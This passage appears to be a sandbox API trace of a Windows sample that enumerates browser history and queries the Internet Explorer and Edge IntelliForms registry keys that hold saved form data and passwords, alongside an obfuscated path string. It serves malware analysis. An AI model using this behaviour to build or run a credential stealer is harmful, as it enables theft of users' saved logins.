[0056.906] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/IoFnVZt5OVrXc94.ods") returned 61 [0056.906] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.906] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.906] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.906] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.906] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.906] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.906] LocalFree (hMem=0x2ecd50) returned 0x0 [0056.906] CoTaskMemFree (pv=0x2eccc8) [0056.906] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.906] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/tL%20LzwEywDvvC.xlsx", lpSrch="?") returned 0x0 [0056.906] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.906] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ed0c8 [0056.906] lstrcpyA (in: lpString1=0x2ed0c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.906] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/tL%20LzwEywDvvC.xlsx") returned 64 [0056.906] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/tL%20LzwEywDvvC.xlsx") returned 64 [0056.907] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.907] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.907] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.907] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.907] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.907] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.907] LocalFree (hMem=0x2ed0c8) returned 0x0 [0056.907] CoTaskMemFree (pv=0x2e8b98) [0056.907] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.907] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/WHMyt54.jpg", lpSrch="?") returned 0x0 [0056.907] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.907] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ed0c8 [0056.907] lstrcpyA (in: lpString1=0x2ed0c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.907] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/WHMyt54.jpg") returned 66 [0056.907] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/WHMyt54.jpg") returned 66 [0056.908] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.908] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.908] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.908] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.908] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.908] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.908] LocalFree (hMem=0x2ed0c8) returned 0x0 [0056.908] CoTaskMemFree (pv=0x2e8d48) [0056.908] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.908] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/RAcdCLm1gs6QXedtLdv7.pptx", lpSrch="?") returned 0x0 [0056.908] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.908] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ed0c8 [0056.908] lstrcpyA (in: lpString1=0x2ed0c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.908] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/RAcdCLm1gs6QXedtLdv7.pptx") returned 69 [0056.908] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/RAcdCLm1gs6QXedtLdv7.pptx") returned 69 [0056.908] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.908] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.908] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.909] LocalFree (hMem=0x2ed0c8) returned 0x0 [0056.909] CoTaskMemFree (pv=0x2d9cd8) [0056.909] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.909] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/1wznGzUb8H6Td3m.docx", lpSrch="?") returned 0x0 [0056.909] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.909] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ed0c8 [0056.909] lstrcpyA (in: lpString1=0x2ed0c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.909] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/1wznGzUb8H6Td3m.docx") returned 64 [0056.909] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/1wznGzUb8H6Td3m.docx") returned 64 [0056.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.910] LocalFree (hMem=0x2ed0c8) returned 0x0 [0056.910] CoTaskMemFree (pv=0x2e8ef8) [0056.910] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.910] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/nTO4wl6C%20ueKdoF6.swf", lpSrch="?") returned 0x0 [0056.910] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.910] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ed0c8 [0056.910] lstrcpyA (in: lpString1=0x2ed0c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.910] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/nTO4wl6C%20ueKdoF6.swf") returned 95 [0056.910] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/nTO4wl6C%20ueKdoF6.swf") returned 95 [0056.910] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.910] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.910] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.910] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.910] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.910] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.910] LocalFree (hMem=0x2ed0c8) returned 0x0 [0056.910] CoTaskMemFree (pv=0x2d0ff8) [0056.910] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.910] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7YTw8u-vZmO896.flv", lpSrch="?") returned 0x0 [0056.911] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.911] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2edaf8 [0056.911] lstrcpyA (in: lpString1=0x2edaf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.911] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7YTw8u-vZmO896.flv") returned 60 [0056.911] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7YTw8u-vZmO896.flv") returned 60 [0056.911] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.911] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.911] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.911] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.911] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.911] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.911] LocalFree (hMem=0x2edaf8) returned 0x0 [0056.911] CoTaskMemFree (pv=0x2f50a0) [0056.911] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.911] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/MLfQNntPPK-Sym.gif", lpSrch="?") returned 0x0 [0056.911] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.911] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2edbb0 [0056.911] lstrcpyA (in: lpString1=0x2edbb0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 